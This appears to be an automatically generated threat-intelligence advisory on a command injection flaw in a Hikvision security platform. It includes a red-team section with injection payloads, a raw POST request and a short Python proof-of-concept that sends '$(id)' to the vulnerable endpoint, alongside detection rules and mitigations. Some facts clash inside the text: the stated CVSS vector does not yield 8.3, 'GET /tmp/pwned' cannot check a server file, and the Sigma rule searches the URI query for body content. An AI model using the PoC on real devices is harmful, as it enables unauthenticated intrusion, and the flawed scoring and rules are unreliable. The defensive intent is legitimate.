CVE-2024-58274

Executive Summary

CVE-2024-58274 is a critical command injection vulnerability in Hikvision's CSMP (Comprehensive Security Management Platform) iSecure Center, actively exploited in the wild since August 2024. The flaw resides in the /center/api/installation/detection endpoint, where unsanitized JSON input allows attackers to execute arbitrary OS commands using $(...) syntax. With a CVSS score of 8.3, this vulnerability enables unauthenticated remote code execution (RCE) with high confidentiality, integrity, and availability impact. No official patch has been released as of the latest intelligence, and the EPSS score of 0.0% suggests low exploitation probability in automated scans, but manual exploitation is confirmed.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Hikvision platform, and no open-source package dependencies are involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.3 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full system compromise.
• Integrity Impact: High (I:H) – Attacker can modify system files.
• Availability Impact: High (A:H) – Potential denial of service.

Threat Level: Critical. The vulnerability allows unauthenticated RCE, and active exploitation in the wild has been reported.

Deep Dive & Mechanics

The vulnerability exists in the /center/api/installation/detection endpoint of Hikvision iSecure Center. The application processes JSON payloads without proper sanitization, allowing command injection via the $(...) shell syntax. When the JSON data is parsed, the $(...) construct is evaluated by the underlying shell, enabling arbitrary command execution.

Root Cause: The application fails to escape or validate user-supplied input before passing it to a shell command. The $(...) syntax is a standard shell feature for command substitution, and its presence in JSON fields indicates a lack of input validation.

Attack Vector: An attacker sends a crafted HTTP POST request to the vulnerable endpoint with a JSON payload containing $(command) in any field. The server then executes the command with the privileges of the web application (typically root or a high-privilege user).

Example Payload:

{
  "field": "$(id)"
}

This would execute the id command and return the output in the response or logs.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable endpoint likely processes JSON input and passes it to a shell command without sanitization. For example:

import subprocess
import json

def handle_detection(request):
    data = json.loads(request.body)
    command = f"some_tool {data['field']}"
    result = subprocess.check_output(command, shell=True)
    return result

Patched Code (Conceptual): A patched version would sanitize input by escaping shell metacharacters or using parameterized commands:

import subprocess
import json
import shlex

def handle_detection(request):
    data = json.loads(request.body)
    safe_field = shlex.quote(data['field'])
    command = f"some_tool {safe_field}"
    result = subprocess.check_output(command, shell=True)
    return result

Note: No official patch has been released. The above is a hypothetical fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Hikvision iSecure Center (any version up to 2024-08-01).
• Network access to the /center/api/installation/detection endpoint.

Exploitation Steps:

1. Identify the target endpoint:

   POST /center/api/installation/detection HTTP/1.1
   Host: target-ip
   Content-Type: application/json
   

2. Send a malicious JSON payload:

   {
     "detection": "$(id > /tmp/pwned)"
   }
   

3. Verify execution by checking the file:

   GET /tmp/pwned
   

Proof-of-Concept (PoC) Script:

import requests
import json

target = "http://target-ip/center/api/installation/detection"
payload = {"detection": "$(id)"}
response = requests.post(target, json=payload)
print(response.text)

Note: No Exploit-DB code was provided. The above is a generic PoC.

Blue Team (Detection & Response)

Detection Steps:

1. Monitor HTTP POST requests to /center/api/installation/detection for suspicious JSON payloads containing $( or backticks.
2. Check server logs for unusual command execution patterns.
3. Use the detection rules below.

Response:

• Isolate affected systems immediately.
• Review logs for lateral movement.
• Apply network segmentation to limit exposure.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /center/api/installation/detection with JSON containing $( or backticks.
• Outbound connections from the server to unknown IPs on common ports (e.g., 80, 443, 4444).

File IOCs:

• Unexpected files in /tmp/ or /var/tmp/ created by the web application user.
• Modified system binaries or configuration files.

Process IOCs:

• Unusual child processes spawned by the web server (e.g., id, whoami, curl, wget).

Log IOCs:

• Web server logs showing POST /center/api/installation/detection with non-standard payloads.
• System logs showing command execution from the web server user.

Detection Engineering

YARA Rule

rule CVE_2024_58274_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Hikvision iSecure Center"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-58274"
    strings:
        $cmd_inject = /\$\([^)]+\)/
        $backtick_inject = /`[^`]+`/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-58274 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to /center/api/installation/detection with command injection patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /center/api/installation/detection
        cs-uri-query|contains: 
            - "$("
            - "`"
    condition: selection
falsepositives:
    - Legitimate use of shell syntax in JSON (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-58274 Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/center/api/installation/detection"; http_uri; content:"$("; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected systems from the network.
2. Disable the /center/api/installation/detection endpoint if not required.
3. Apply network-level filtering to block requests containing $( or backticks in JSON payloads.

Long-term Fix:

• Hikvision must release a patch that properly sanitizes input. Until then, consider migrating to an alternative platform.
• Implement a Web Application Firewall (WAF) with rules to block command injection patterns.

Workaround:

• Restrict access to the vulnerable endpoint via firewall rules or reverse proxy configuration.
• Monitor logs for exploitation attempts.

Valters IT Signature: This report was generated by Valters IT Cyber Threat Intelligence Division. For inquiries, contact threatintel@valtersit.com.